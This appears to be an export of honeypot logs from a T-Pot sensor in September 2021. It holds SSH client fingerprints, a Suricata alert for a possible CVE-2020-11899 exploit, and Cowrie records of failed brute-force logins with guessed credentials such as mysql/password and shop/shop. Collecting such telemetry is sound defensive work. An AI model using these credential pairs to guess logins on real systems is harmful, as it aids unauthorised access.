24388	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:46.727615+03	2021-09-20 14:15:08.71747+03	{"_id": "eAbkAnwBvYTbRNuE4xNz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59434, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.727615", "@timestamp": "2021-09-20T11:08:46.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24389	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:08:47.451477+03	2021-09-20 14:15:08.71847+03	{"_id": "oAbkAnwBvYTbRNuE5hNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:47.451477+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557245973397, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:08:47.451477Z", "@timestamp": "2021-09-20T11:08:47.451Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
24390	178.128.20.19	109.199.241.180	Suricata	2021-09-20 14:08:47.552669+03	2021-09-20 14:15:08.72047+03	{"_id": "nQbkAnwBvYTbRNuE5hNs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.20.19", "dest_ip": "192.168.20.116", "flow_id": 1666268729911593, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43410, "dest_port": 22, "timestamp": "2021-09-20T11:08:47.552669Z", "@timestamp": "2021-09-20T11:08:47.552Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24391	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:47.194379+03	2021-09-20 14:15:08.72147+03	{"_id": "owbkAnwBvYTbRNuE5xNc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51116, "dest_port": 22, "timestamp": "2021-09-20T11:08:47.194379", "@timestamp": "2021-09-20T11:08:47.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24392	178.128.20.19	109.199.241.180	Fatt	2021-09-20 14:08:47.552953+03	2021-09-20 14:15:08.72247+03	{"_id": "ogbkAnwBvYTbRNuE5xNc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "178.128.20.19", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43410, "dest_port": 22, "timestamp": "2021-09-20T11:08:47.552953", "@timestamp": "2021-09-20T11:08:47.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24393	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:47.19123+03	2021-09-20 14:15:08.72347+03	{"_id": "oQbkAnwBvYTbRNuE5xNc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51116, "timestamp": "2021-09-20T11:08:47.191230", "@timestamp": "2021-09-20T11:08:47.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24394	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:08:47.379771+03	2021-09-20 14:15:08.72547+03	{"_id": "pQbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.20.19:43410 (192.168.176.2:22) [session: e91ee70fe43d]", "session": "e91ee70fe43d", "@version": "1", "protocol": "ssh", "src_port": 43410, "dest_port": 22, "timestamp": "2021-09-20T11:08:47.379771Z", "@timestamp": "2021-09-20T11:08:47.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24395	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:08:47.380673+03	2021-09-20 14:15:08.72647+03	{"_id": "pgbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e91ee70fe43d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:08:47.380673Z", "@timestamp": "2021-09-20T11:08:47.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24396	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:08:47.553317+03	2021-09-20 14:15:08.72747+03	{"_id": "pwbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e91ee70fe43d", "@version": "1", "timestamp": "2021-09-20T11:08:47.553317Z", "@timestamp": "2021-09-20T11:08:47.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24397	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:47.631137+03	2021-09-20 14:15:08.72947+03	{"_id": "qAbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [mysql/password] failed", "session": "b36e621e2b21", "@version": "1", "password": "password", "username": "mysql", "timestamp": "2021-09-20T11:08:47.631137Z", "@timestamp": "2021-09-20T11:08:47.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24398	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:47.642859+03	2021-09-20 14:15:08.73047+03	{"_id": "qQbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [shagrath/039715582364317] failed", "session": "ce8d3dcf96c0", "@version": "1", "password": "039715582364317", "username": "shagrath", "timestamp": "2021-09-20T11:08:47.642859Z", "@timestamp": "2021-09-20T11:08:47.642Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24399	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:47.731845+03	2021-09-20 14:15:08.73147+03	{"_id": "qgbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [null/null] failed", "session": "17b84e30fa5b", "@version": "1", "password": "null", "username": "null", "timestamp": "2021-09-20T11:08:47.731845Z", "@timestamp": "2021-09-20T11:08:47.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24400	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:47.837802+03	2021-09-20 14:15:08.73247+03	{"_id": "qwbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [shop/shop] failed", "session": "dba6d2dc9982", "@version": "1", "password": "shop", "username": "shop", "timestamp": "2021-09-20T11:08:47.837802Z", "@timestamp": "2021-09-20T11:08:47.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
